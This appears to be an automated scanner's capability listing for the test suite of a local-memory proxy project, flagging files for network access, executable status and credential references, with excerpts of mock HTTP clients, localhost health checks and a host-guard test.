proxy = ProxyApp(config=config) proxy.hooks = HookChain(cache=None, compress=_CompressHook()) proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=_handler)) - Network accessline 631
proxy.hooks = HookChain(cache=None, compress=_CompressHook()) proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=_handler)) app = FastAPI() - Network accessline 632
proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=_handler)) - Network accessline 636
async with httpx.AsyncClient( - Network accessline 637
transport=httpx.ASGITransport(app=app), base_url="http://test" - Network accessline 667
async def _handler(request: httpx.Request) -> httpx.Response: return httpx.Response(200, json={"choices": [{"message": {"content": "ok"}}]}) - Network accessline 668
return httpx.Response(200, json={"choices": [{"message": {"content": "ok"}}]}) - Network accessline 671
proxy = ProxyApp(config=config) proxy.hooks = HookChain(cache=_StoreHook(), compress=None) proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=_handler)) - Network accessline 672
proxy.hooks = HookChain(cache=_StoreHook(), compress=None) proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=_handler)) app = FastAPI() - Network accessline 673
proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=_handler)) - Network accessline 677
async with httpx.AsyncClient( - Network accessline 678
transport=httpx.ASGITransport(app=app), base_url="http://test" - Network accessline 703
proxy = ProxyApp(config=config) proxy.hooks = HookChain.empty() proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=_broken_handler)) - Network accessline 704
proxy.hooks = HookChain.empty() proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=_broken_handler)) app = FastAPI() - Network accessline 705
proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=_broken_handler)) - Network accessline 709
async with httpx.AsyncClient( - Network accessline 710
transport=httpx.ASGITransport(app=app), base_url="http://test"
tests/optimize/proxy/test_gemini_surface_more.py
- Executable scriptline 1
Executable file - Network accessline 20
async def handler(request): captured_url.append(str(request.url)) return httpx.Response( - Network accessline 21
captured_url.append(str(request.url)) return httpx.Response( 200, - Network accessline 22
return httpx.Response( - Network accessline 29
proxy = ProxyApp(config=config) proxy.hooks = HookChain.empty() proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=handler)) - Network accessline 30
proxy.hooks = HookChain.empty() proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=handler)) app = FastAPI() - Network accessline 31
proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=handler)) - Network accessline 35
async with httpx.AsyncClient( - Network accessline 36
transport=httpx.ASGITransport(app=app), base_url="http://test" - Network accessline 59
async def handler(request): return httpx.Response(200, json={"choices": []}) - Network accessline 60
return httpx.Response(200, json={"choices": []}) - Network accessline 62
proxy = ProxyApp(config=config) proxy.hooks = HookChain.empty() proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=handler)) - Network accessline 63
proxy.hooks = HookChain.empty() proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=handler)) app = FastAPI() - Network accessline 64
proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=handler)) - Network accessline 68
async with httpx.AsyncClient( - Network accessline 69
transport=httpx.ASGITransport(app=app), base_url="http://test" - Network accessline 87
async def handler(request): captured.append(request) return httpx.Response(200, json={"data": []}) - Network accessline 89
return httpx.Response(200, json={"data": []}) - Network accessline 91
proxy = ProxyApp(config=config) proxy.hooks = HookChain.empty() proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=handler)) - Network accessline 92
proxy.hooks = HookChain.empty() proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=handler)) app = FastAPI() - Network accessline 93
proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=handler)) - Network accessline 97
async with httpx.AsyncClient( - Network accessline 98
transport=httpx.ASGITransport(app=app), base_url="http://test" - Network accessline 116
async def handler(request): return httpx.Response(200, json={"totalTokens": 42}) - Network accessline 117
return httpx.Response(200, json={"totalTokens": 42}) - Network accessline 119
proxy = ProxyApp(config=config) proxy.hooks = HookChain.empty() proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=handler)) - Network accessline 120
proxy.hooks = HookChain.empty() proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=handler)) app = FastAPI() - Network accessline 121
proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=handler)) - Network accessline 125
async with httpx.AsyncClient( - Network accessline 126
transport=httpx.ASGITransport(app=app), base_url="http://test" - Network accessline 148
proxy = ProxyApp(config=config) proxy.hooks = HookChain.empty() proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=handler)) - Network accessline 149
proxy.hooks = HookChain.empty() proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=handler)) app = FastAPI() - Network accessline 150
proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=handler)) - Network accessline 154
async with httpx.AsyncClient( - Network accessline 155
transport=httpx.ASGITransport(app=app), base_url="http://test"
tests/optimize/proxy/test_helpers.py
- Executable scriptline 1
Executable file
tests/optimize/proxy/test_helpers_gaps.py
- Executable scriptline 1
Executable file - Network accessline 263
class _RemoteProtocolErrorTransport(httpx.AsyncBaseTransport): async def handle_async_request(self, request: httpx.Request) -> httpx.Response: raise httpx.RemoteProtocolError("connection closed early", request=request) - Network accessline 265
raise httpx.RemoteProtocolError("connection closed early", request=request) - Network accessline 276
proxy_obj = _NullClientProxy() proxy_obj.http_client = httpx.AsyncClient( - Network accessline 277
proxy_obj.http_client = httpx.AsyncClient( - Network accessline 283
result = await _stream_forward( proxy_obj, "req_001", {}, b"hello", "http://example.com" - Network accessline 284
proxy_obj, "req_001", {}, b"hello", "http://example.com" - Network accessline 302
proxy_obj = _NullClientProxy() proxy_obj.http_client = httpx.AsyncClient(transport=_GenericErrorTransport()) - Network accessline 303
proxy_obj.http_client = httpx.AsyncClient(transport=_GenericErrorTransport()) - Network accessline 307
result = await _stream_forward( proxy_obj, "req_002", {}, b"body", "http://example.com" - Network accessline 308
proxy_obj, "req_002", {}, b"body", "http://example.com" - Network accessline 330
proxy_obj = _NullClientProxy() proxy_obj.http_client = httpx.AsyncClient( - Network accessline 331
proxy_obj.http_client = httpx.AsyncClient( - Network accessline 341
result = await _stream_and_cache_forward( proxy_obj, "req_003", {}, b"body", "http://example.com", - Network accessline 342
proxy_obj, "req_003", {}, b"body", "http://example.com", - Network accessline 363
proxy_obj = _NullClientProxy() proxy_obj.http_client = httpx.AsyncClient(transport=_GenericErrorTransport()) - Network accessline 364
proxy_obj.http_client = httpx.AsyncClient(transport=_GenericErrorTransport()) - Network accessline 373
result = await _stream_and_cache_forward( proxy_obj, "req_004", {}, b"body", "http://example.com", - Network accessline 374
proxy_obj, "req_004", {}, b"body", "http://example.com", - Network accessline 393
async def success_handler(request: httpx.Request) -> httpx.Response: return httpx.Response( - Network accessline 394
return httpx.Response( - Network accessline 400
proxy_obj = _NullClientProxy() proxy_obj.http_client = httpx.AsyncClient( - Network accessline 401
proxy_obj.http_client = httpx.AsyncClient( - Network accessline 410
result = await _stream_and_cache_forward( proxy_obj, "req_005", {}, b"body", "http://example.com", - Network accessline 411
proxy_obj, "req_005", {}, b"body", "http://example.com",
tests/optimize/proxy/test_helpers_more.py
- Executable scriptline 1
Executable file - Network accessline 121
@app.post("/test") async def _route(request: Request) -> Response: return await _fail_open_forward(proxy, request, "http://example.com") - Network accessline 123
return await _fail_open_forward(proxy, request, "http://example.com") - Network accessline 125
async with httpx.AsyncClient( - Network accessline 126
transport=httpx.ASGITransport(app=app), base_url="http://test" - Network accessline 135
def __init__(self): from superlocalmemory.optimize.proxy._helpers import _MockTransport self.http_client = httpx.AsyncClient(transport=_MockTransport( - Network accessline 136
from superlocalmemory.optimize.proxy._helpers import _MockTransport self.http_client = httpx.AsyncClient(transport=_MockTransport( handler=lambda r: (_ for _ in ()).throw(RuntimeError("boom")) - Network accessline 137
self.http_client = httpx.AsyncClient(transport=_MockTransport( - Network accessline 148
@app.post("/test") async def _route(request: Request) -> Response: return await _fail_open_forward(proxy, request, "http://example.com") - Network accessline 150
return await _fail_open_forward(proxy, request, "http://example.com") - Network accessline 152
async with httpx.AsyncClient( - Network accessline 153
transport=httpx.ASGITransport(app=app), base_url="http://test" - Network accessline 164
proxy = _NullClientProxy() result = await _stream_forward( proxy, "slm_1_000001", {}, b"", "http://example.com", - Network accessline 165
result = await _stream_forward( proxy, "slm_1_000001", {}, b"", "http://example.com", ) - Network accessline 166
proxy, "slm_1_000001", {}, b"", "http://example.com", - Network accessline 186
return httpx.Response( - Network accessline 192
proxy = _NullClientProxy() proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=handler)) - Network accessline 193
proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=handler)) - Network accessline 195
result = await _stream_forward( proxy, "slm_1_000001", {}, b"", "http://example.com", - Network accessline 196
proxy, "slm_1_000001", {}, b"", "http://example.com",
tests/optimize/proxy/test_lifecycle.py
- Executable scriptline 1
Executable file
tests/optimize/proxy/test_openai_surface.py
- Executable scriptline 1
Executable file - Network accessline 51
def _make_app(config: OptimizeConfig, hooks: HookChain, handler=None) -> tuple[FastAPI, ProxyApp, _MockTransport]: transport = _MockTransport(handler=handler or (lambda r: httpx.Response(200, json=_sample_resp()))) - Network accessline 52
transport = _MockTransport(handler=handler or (lambda r: httpx.Response(200, json=_sample_resp()))) - Network accessline 53
proxy = ProxyApp(config=config) proxy.hooks = hooks proxy.http_client = httpx.AsyncClient(transport=transport) - Network accessline 54
proxy.hooks = hooks proxy.http_client = httpx.AsyncClient(transport=transport) app = FastAPI() - Network accessline 55
proxy.http_client = httpx.AsyncClient(transport=transport) - Network accessline 66
async with httpx.AsyncClient( - Network accessline 67
transport=httpx.ASGITransport(app=app), base_url="http://test" - Network accessline 83
async def handler(request): upstream_calls.append(1) return httpx.Response(200, json=_sample_resp()) - Network accessline 85
return httpx.Response(200, json=_sample_resp()) - Network accessline 102
async with httpx.AsyncClient( - Network accessline 103
transport=httpx.ASGITransport(app=app), base_url="http://test" - Network accessline 117
def handler(request): upstream_calls.append(1) return httpx.Response(200, json=_sample_resp()) - Network accessline 119
return httpx.Response(200, json=_sample_resp()) - Network accessline 126
async with httpx.AsyncClient( - Network accessline 127
transport=httpx.ASGITransport(app=app), base_url="http://test" - Network accessline 140
def handler(request): return httpx.Response( - Network accessline 141
return httpx.Response( - Network accessline 149
async with httpx.AsyncClient( - Network accessline 150
transport=httpx.ASGITransport(app=app), base_url="http://test" - Network accessline 181
async with httpx.AsyncClient( - Network accessline 182
transport=httpx.ASGITransport(app=app), base_url="http://test" - Network accessline 195
def handler(request): return httpx.Response(200, json={"object": "list", "data": [{"embedding": [0.1, 0.2]}]}) - Network accessline 196
return httpx.Response(200, json={"object": "list", "data": [{"embedding": [0.1, 0.2]}]}) - Network accessline 200
async with httpx.AsyncClient( - Network accessline 201
transport=httpx.ASGITransport(app=app), base_url="http://test" - Network accessline 220
def handler(request): upstream_calls.append(1) return httpx.Response(200, json=_sample_resp()) - Network accessline 222
return httpx.Response(200, json=_sample_resp()) - Network accessline 227
async with httpx.AsyncClient( - Network accessline 228
transport=httpx.ASGITransport(app=app), base_url="http://test" - Network accessline 256
def handler(request): return httpx.Response(401, json={"error": {"message": "auth"}}) - Network accessline 257
return httpx.Response(401, json={"error": {"message": "auth"}}) - Network accessline 262
async with httpx.AsyncClient( - Network accessline 263
transport=httpx.ASGITransport(app=app), base_url="http://test" - Network accessline 275
def handler(request): return httpx.Response(200, json={"object": "list", "data": []}) - Network accessline 276
return httpx.Response(200, json={"object": "list", "data": []}) - Network accessline 281
async with httpx.AsyncClient( - Network accessline 282
transport=httpx.ASGITransport(app=app), base_url="http://test" - Network accessline 412
def handler(request): upstream_calls.append(1) return httpx.Response( - Network accessline 413
upstream_calls.append(1) return httpx.Response( 200, - Network accessline 414
return httpx.Response( - Network accessline 435
async with httpx.AsyncClient( - Network accessline 436
transport=httpx.ASGITransport(app=app), base_url="http://test"
tests/optimize/proxy/test_server.py
- Executable scriptline 1
Executable file
tests/optimize/proxy/test_vertex_surface.py
- Executable scriptline 1
Executable file - Network accessline 83
proxy.hooks = hooks or HookChain.empty() if handler is not None: proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=handler)) - Network accessline 84
if handler is not None: proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=handler)) return proxy - Network accessline 85
proxy.http_client = httpx.AsyncClient(transport=_MockTransport(handler=handler)) - Network accessline 165
"/v1/projects/my-project/locations/us-central1/publishers/google/models/gemini:generateContent", ) assert url.startswith("https://us-central1-aiplatform.googleapis.com") - Network accessline 167
assert url.startswith("https://us-central1-aiplatform.googleapis.com") - Network accessline 171
"/v1/projects/p/locations/europe-west4/publishers/google/models/m:generateContent", ) assert url_eu.startswith("https://europe-west4-aiplatform.googleapis.com") - Network accessline 173
assert url_eu.startswith("https://europe-west4-aiplatform.googleapis.com") - Network accessline 185
async def _handler(req: httpx.Request) -> httpx.Response: captured.append(req) return httpx.Response(200, json={"candidates": []}) - Network accessline 187
return httpx.Response(200, json={"candidates": []}) - Network accessline 193
async with httpx.AsyncClient( - Network accessline 194
transport=httpx.ASGITransport(app=app), base_url="http://test" - Network accessline 277
async def _handler(req: httpx.Request) -> httpx.Response: return httpx.Response(200, json={"candidates": [{"content": {}}]}) - Network accessline 278
return httpx.Response(200, json={"candidates": [{"content": {}}]}) - Network accessline 285
with caplog.at_level(logging.DEBUG, logger="slm.optimize.proxy"): async with httpx.AsyncClient( - Network accessline 286
async with httpx.AsyncClient( - Network accessline 287
transport=httpx.ASGITransport(app=app), base_url="http://test" - Network accessline 353
async def _handler(req: httpx.Request) -> httpx.Response: return httpx.Response(200, json={"candidates": [{"content": {}}]}) - Network accessline 354
return httpx.Response(200, json={"candidates": [{"content": {}}]}) - Network accessline 359
async with httpx.AsyncClient( - Network accessline 360
transport=httpx.ASGITransport(app=app), base_url="http://test" - Network accessline 400
nonlocal upstream_calls upstream_calls += 1 return httpx.Response( - Network accessline 401
upstream_calls += 1 return httpx.Response( 200, json={"candidates": [{"content": {"parts": [{"text": "hi"}]}}]} - Network accessline 402
return httpx.Response( - Network accessline 410
async with httpx.AsyncClient( - Network accessline 411
transport=httpx.ASGITransport(app=app), base_url="http://test" - Network accessline 446
async def _handler(req: httpx.Request) -> httpx.Response: return httpx.Response(401, json={"error": {"code": 401, "message": "Unauthorized"}}) - Network accessline 447
return httpx.Response(401, json={"error": {"code": 401, "message": "Unauthorized"}}) - Network accessline 452
async with httpx.AsyncClient( - Network accessline 453
transport=httpx.ASGITransport(app=app), base_url="http://test" - Network accessline 501
nonlocal upstream_calls upstream_calls += 1 return httpx.Response(200, json={}) - Network accessline 503
return httpx.Response(200, json={}) - Network accessline 518
async with httpx.AsyncClient( - Network accessline 519
transport=httpx.ASGITransport(app=app), base_url="http://test" - Network accessline 548
async with httpx.AsyncClient( - Network accessline 549
transport=httpx.ASGITransport(app=app), base_url="http://test" - Network accessline 569
async def _handler(req: httpx.Request) -> httpx.Response: captured.append(req) return httpx.Response(200, json={"candidates": []}) - Network accessline 571
return httpx.Response(200, json={"candidates": []}) - Network accessline 577
async with httpx.AsyncClient( - Network accessline 578
transport=httpx.ASGITransport(app=app), base_url="http://test" - Network accessline 662
async def _handler(req: httpx.Request) -> httpx.Response: return httpx.Response(200, json={"candidates": []}) - Network accessline 663
return httpx.Response(200, json={"candidates": []}) - Network accessline 668
async with httpx.AsyncClient( - Network accessline 669
transport=httpx.ASGITransport(app=app), base_url="http://test" - Network accessline 690
async def _handler(req: httpx.Request) -> httpx.Response: return httpx.Response(200, json={"candidates": []}) - Network accessline 691
return httpx.Response(200, json={"candidates": []}) - Network accessline 696
async with httpx.AsyncClient( - Network accessline 697
transport=httpx.ASGITransport(app=app), base_url="http://test" - Network accessline 718
async with httpx.AsyncClient( - Network accessline 719
transport=httpx.ASGITransport(app=app), base_url="http://test"
tests/optimize/storage/__init__.py
- Executable scriptline 1
Executable file
tests/optimize/storage/test_db.py
- Executable scriptline 1
Executable file
tests/optimize/storage/test_db_edge_cases.py
tests/optimize/storage/test_schema.py
- Executable scriptline 1
Executable file
tests/optimize/storage/test_tenant_normalization.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/optimize/test_benchmark.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/optimize/test_cache_erasure.py
- Executable scriptline 1
Executable file
tests/optimize/test_proxy_tenant_isolation.py
- Executable scriptline 1
Executable file - Network accessline 337
async def _run(): async def _upstream_handler(req: httpx.Request) -> httpx.Response: return httpx.Response(200, content=resp_body, - Network accessline 338
async def _upstream_handler(req: httpx.Request) -> httpx.Response: return httpx.Response(200, content=resp_body, headers={"content-type": "application/json"}) - Network accessline 339
return httpx.Response(200, content=resp_body, - Network accessline 352
capturing_manager = TenantCapturingManager() proxy.hooks = HookChain(cache=capturing_manager, compress=None) proxy.http_client = httpx.AsyncClient(transport=_T()) - Network accessline 353
proxy.hooks = HookChain(cache=capturing_manager, compress=None) proxy.http_client = httpx.AsyncClient(transport=_T()) app = FastAPI() - Network accessline 354
proxy.http_client = httpx.AsyncClient(transport=_T()) - Network accessline 358
async with httpx.AsyncClient( - Network accessline 359
transport=httpx.ASGITransport(app=app), base_url="http://test"
tests/optimize/test_runtime_toggle.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/optimize/test_semantic_index_cap.py
- Executable scriptline 1
Executable file
tests/perf/__init__.py
- Executable scriptline 1
Executable file
tests/perf/test_answer_check_history_overhead.py
- Executable scriptline 1
Executable file
tests/perf/test_recall_remember_baseline.py
tests/postinstall/test_arch_refusals.js
- Executable scriptline 1
#!/usr/bin/env node
tests/postinstall/test_engine_upgrade_prompt.js
- Executable scriptline 1
Executable file
tests/postinstall/test_media_request.js
- Executable scriptline 1
Executable file
tests/postinstall/test_npm_runtime_isolation.js
- Executable scriptline 1
Executable file - Network accessline 197
clearModule(POSTINSTALL); const { main, pypiSpecifier } = require(POSTINSTALL); for (const bad of ['/tmp/pkg/', 'https://example.com/x.whl', 'pkg.tar.gz', '/tmp/missing.whl']) { - Network accessline 198
const { main, pypiSpecifier } = require(POSTINSTALL); for (const bad of ['/tmp/pkg/', 'https://example.com/x.whl', 'pkg.tar.gz', '/tmp/missing.whl']) { process.env.SLM_LOCAL_WHEEL = bad; - Network accessline 199
for (const bad of ['/tmp/pkg/', 'https://example.com/x.whl', 'pkg.tar.gz', '/tmp/missing.whl']) {
tests/postinstall/test_postinstall_cpu_torch.js
- Executable scriptline 1
#!/usr/bin/env node - Network accessline 58
test('an already-set PIP_INDEX_URL is never overridden', () => { assert.equal( mod.shouldForceCpuTorch({ PIP_INDEX_URL: 'https://example.invalid/simple' }, 'linux', () => false), - Network accessline 59
assert.equal( mod.shouldForceCpuTorch({ PIP_INDEX_URL: 'https://example.invalid/simple' }, 'linux', () => false), false, - Network accessline 60
mod.shouldForceCpuTorch({ PIP_INDEX_URL: 'https://example.invalid/simple' }, 'linux', () => false), - Network accessline 65
test('an already-set PIP_EXTRA_INDEX_URL is never overridden', () => { assert.equal( mod.shouldForceCpuTorch({ PIP_EXTRA_INDEX_URL: 'https://example.invalid/simple' }, 'linux', () => false), - Network accessline 66
assert.equal( mod.shouldForceCpuTorch({ PIP_EXTRA_INDEX_URL: 'https://example.invalid/simple' }, 'linux', () => false), false, - Network accessline 67
mod.shouldForceCpuTorch({ PIP_EXTRA_INDEX_URL: 'https://example.invalid/simple' }, 'linux', () => false), - Network accessline 73
// https://pytorch.org/get-started/locally/ (fetched 2026-10-06). - Network accessline 74
assert.equal(mod.TORCH_CPU_INDEX_URL, 'https://download.pytorch.org/whl/cpu');
tests/postinstall/test_postinstall_python_discovery.js
- Executable scriptline 1
#!/usr/bin/env node
tests/postinstall/test_postinstall_python_guidance.js
- Executable scriptline 1
#!/usr/bin/env node
tests/postinstall/test_postinstall_validation.js
- Executable scriptline 1
#!/usr/bin/env node
tests/postinstall/test_rebuild_command_is_global.js
- Executable scriptline 1
#!/usr/bin/env node
tests/property/__init__.py
- Executable scriptline 1
Executable file
tests/property/test_queue_invariants.py
tests/regression/__init__.py
- Executable scriptline 1
Executable file
tests/regression/test_issue_112.py
- Executable scriptline 1
Executable file - Network accessline 42
[Credential-related source omitted] - Access to secretsline 42
[Credential-related source omitted] - Access to secretsline 47
[Credential-related source omitted] - Access to secretsline 55
[Credential-related source omitted] - Network accessline 66
[Credential-related source omitted] - Access to secretsline 66
[Credential-related source omitted] - Access to secretsline 69
[Credential-related source omitted] - Network accessline 76
class TestLLMConfigHasCustomEndpoint: def test_true_for_non_ollama_endpoint(self) -> None: llm = LLMConfig(provider="openai", api_base="http://localhost:8080/v1") - Network accessline 77
def test_true_for_non_ollama_endpoint(self) -> None: llm = LLMConfig(provider="openai", api_base="http://localhost:8080/v1") assert llm.has_custom_endpoint is True - Network accessline 78
llm = LLMConfig(provider="openai", api_base="http://localhost:8080/v1") - Network accessline 81
def test_false_for_ollama(self) -> None: llm = LLMConfig(provider="ollama", api_base="http://localhost:11434") - Network accessline 82
llm = LLMConfig(provider="ollama", api_base="http://localhost:11434")
tests/regression/test_issue_90.py
- Executable scriptline 1
Executable file
tests/release/__init__.py
- Executable scriptline 1
Executable file
tests/release/_harness.py
- Executable scriptline 1
Executable file - Access to secretsline 91
[Credential-related source omitted] - Access to secretsline 92
[Credential-related source omitted] - Access to secretsline 93
[Credential-related source omitted] - Access to secretsline 103
[Credential-related source omitted] - Access to secretsline 464
[Credential-related source omitted]
tests/release/conftest.py
tests/release/test_artifact_contract.py
- Executable scriptline 1
Executable file
tests/release/test_csp_no_inline_handlers.py
- Executable scriptline 1
Executable file
tests/release/test_daemon_namespace_blackbox.py
- Executable scriptline 1
Executable file - Network accessline 45
for _ in range(20): with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as listener: - Network accessline 46
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as listener: - Network accessline 103
def _health(port: int) -> dict[str, Any]: url = f"http://127.0.0.1:{port}/health" with urllib.request.urlopen(url, timeout=5) as response: - Network accessline 104
url = f"http://127.0.0.1:{port}/health" with urllib.request.urlopen(url, timeout=5) as response: assert response.status == 200 - Network accessline 105
with urllib.request.urlopen(url, timeout=5) as response:
tests/release/test_dependency_security_floors.py
- Executable scriptline 1
Executable file
tests/release/test_harness.py
- Executable scriptline 1
Executable file
tests/release/test_installed_artifacts.py
- Executable scriptline 1
Executable file
tests/release/test_plugin_hook_parity.py
- Executable scriptline 1
Executable file
tests/release/test_public_claim_scanner.py
- Executable scriptline 1
Executable file
tests/release/test_testclient_dependency.py
- Executable scriptline 1
Executable file
tests/release/test_v37_rc_candidate_contract.py
- Executable scriptline 1
Executable file
tests/release/test_v4_platform_support.py
- Executable scriptline 1
Executable file
tests/server/test_386_canonical_remember_route.py
- Executable scriptline 1
Executable file
tests/server/test_386_readiness_channel_contract.py
- Executable scriptline 1
Executable file
tests/server/test_background_index_repair_yields_to_recall.py
- Executable scriptline 1
Executable file
tests/server/test_daemon_bound_port.py
- Executable scriptline 1
Executable file - Access to secretsline 18
[Credential-related source omitted] - Access to secretsline 28
[Credential-related source omitted] - Network accessline 33
runtime = app.state.remote_connection_runtime assert runtime.provider.redirect_uri == ( f"http://127.0.0.1:{bound_port}/api/v3/connections/callback" - Network accessline 34
assert runtime.provider.redirect_uri == ( f"http://127.0.0.1:{bound_port}/api/v3/connections/callback" ) - Network accessline 35
f"http://127.0.0.1:{bound_port}/api/v3/connections/callback" - Network accessline 36
) assert runtime.origin._base_url == f"https://127.0.0.1:{bound_port}" observed.append(bound_port) - Network accessline 37
assert runtime.origin._base_url == f"https://127.0.0.1:{bound_port}"
tests/server/test_daemon_health_identity.py
- Executable scriptline 1
Executable file
tests/server/test_daemon_readiness_contract.py
- Executable scriptline 1
Executable file
tests/server/test_data_root_startup_guard.py
- Executable scriptline 1
Executable file
tests/server/test_entity_index_gap_sweep.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/server/test_health_never_blocks_the_event_loop.py
- Executable scriptline 1
Executable file
tests/server/test_remember_profile_binding.py
- Executable scriptline 1
Executable file
tests/server/test_remote_keys.py
- Executable scriptline 1
Executable file
tests/server/test_remote_listener.py
- Executable scriptline 1
Executable file - Network accessline 136
inner = HostGuardMiddleware(Starlette(routes=[Route("/health", health)])) wrapped = remote_listener.RemoteListenerASGI(inner, ("slm.lan",)) ok = TestClient(wrapped, base_url="https://slm.lan:8443").get("/health") - Network accessline 137
wrapped = remote_listener.RemoteListenerASGI(inner, ("slm.lan",)) ok = TestClient(wrapped, base_url="https://slm.lan:8443").get("/health") assert ok.status_code == 200 - Network accessline 138
ok = TestClient(wrapped, base_url="https://slm.lan:8443").get("/health") - Network accessline 139
assert ok.status_code == 200 evil = TestClient(wrapped, base_url="https://evil.example:8443").get("/health") assert evil.status_code == 421 - Network accessline 140
evil = TestClient(wrapped, base_url="https://evil.example:8443").get("/health") - Access to secretsline 261
[Credential-related source omitted] - Network accessline 280
with socket.socket() as probe:
tests/server/test_remote_secrets_owner_only.py
- Executable scriptline 1
Executable file
tests/server/test_remote_slow_clients.py
tests/server/test_uvicorn_contract.py
- Executable scriptline 1
Executable file - Network accessline 74
def _port() -> int: with socket.socket() as s: - Network accessline 75
with socket.socket() as s: - Network accessline 121
def fetch(url, **kw): - Network accessline 122
with urllib.request.urlopen(url, timeout=5, **kw) as resp: - Network accessline 125
seen["main"] = await asyncio.to_thread(fetch, f"http://127.0.0.1:{main_port}/a") - Network accessline 126
seen["remote"] = await asyncio.to_thread( fetch, f"https://localhost:{remote_port}/health", context=tls) original = remote_srv.shutdown - Network accessline 127
fetch, f"https://localhost:{remote_port}/health", context=tls)
tests/storage/test_admission_codec.py
- Executable scriptline 1
Executable file
tests/storage/test_admission_journal.py
- Executable scriptline 1
Executable file
tests/storage/test_admission_journal_concurrency.py
- Executable scriptline 1
Executable file
tests/storage/test_an_expired_write_lets_go_of_the_lock.py
- Executable scriptline 1
Executable file
tests/storage/test_database_coordinator_binding.py
- Executable scriptline 1
Executable file
tests/storage/test_embedding_codec.py
- Executable scriptline 1
Executable file
tests/storage/test_entity_index_coverage_gap.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/storage/test_fabricated_date_text.py
- Executable scriptline 1
Executable file
tests/storage/test_fact_count_is_not_recounted.py
- Executable scriptline 1
Executable file
tests/storage/test_fts_damaged_index_repair.py
- Executable scriptline 1
Executable file
tests/storage/test_fts_secure_delete_versions.py
- Executable scriptline 1
Executable file
tests/storage/test_idempotency_across_restarts.py
- Executable scriptline 1
Executable file - Access to secretsline 44
[Credential-related source omitted] - Access to secretsline 100
[Credential-related source omitted] - Access to secretsline 110
[Credential-related source omitted] - Access to secretsline 127
[Credential-related source omitted] - Access to secretsline 128
[Credential-related source omitted] - Access to secretsline 173
[Credential-related source omitted] - Access to secretsline 174
[Credential-related source omitted] - Access to secretsline 206
[Credential-related source omitted]
tests/storage/test_integrity_diagnosis.py
- Executable scriptline 1
Executable file
tests/storage/test_integrity_repair.py
- Executable scriptline 1
Executable file
tests/storage/test_keyword_index_repair_is_verified.py
- Executable scriptline 1
Executable file
tests/storage/test_kind_column_probe_race.py
- Executable scriptline 1
Executable file
tests/storage/test_no_reuse_of_values_seen_inside_a_rolled_back_save.py
- Executable scriptline 1
Executable file
tests/storage/test_orphan_index_rows.py
- Executable scriptline 1
Executable file
tests/storage/test_private_copies_owner_only.py
- Executable scriptline 1
Executable file
tests/storage/test_project_backfill.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/storage/test_read_connection_closes_from_any_thread.py
- Executable scriptline 1
Executable file
tests/storage/test_repair_scrubs_event_previews.py
- Executable scriptline 1
Executable file
tests/storage/test_repair_unfinished_deletes.py
- Executable scriptline 1
Executable file
tests/storage/test_secure_delete_on_old_sqlite.py
- Executable scriptline 1
Executable file
tests/storage/test_store_check.py
- Executable scriptline 1
Executable file
tests/storage/test_store_is_read_once_at_start.py
- Executable scriptline 1
Executable file
tests/storage/test_vector_parity_repair.py
- Executable scriptline 1
Executable file
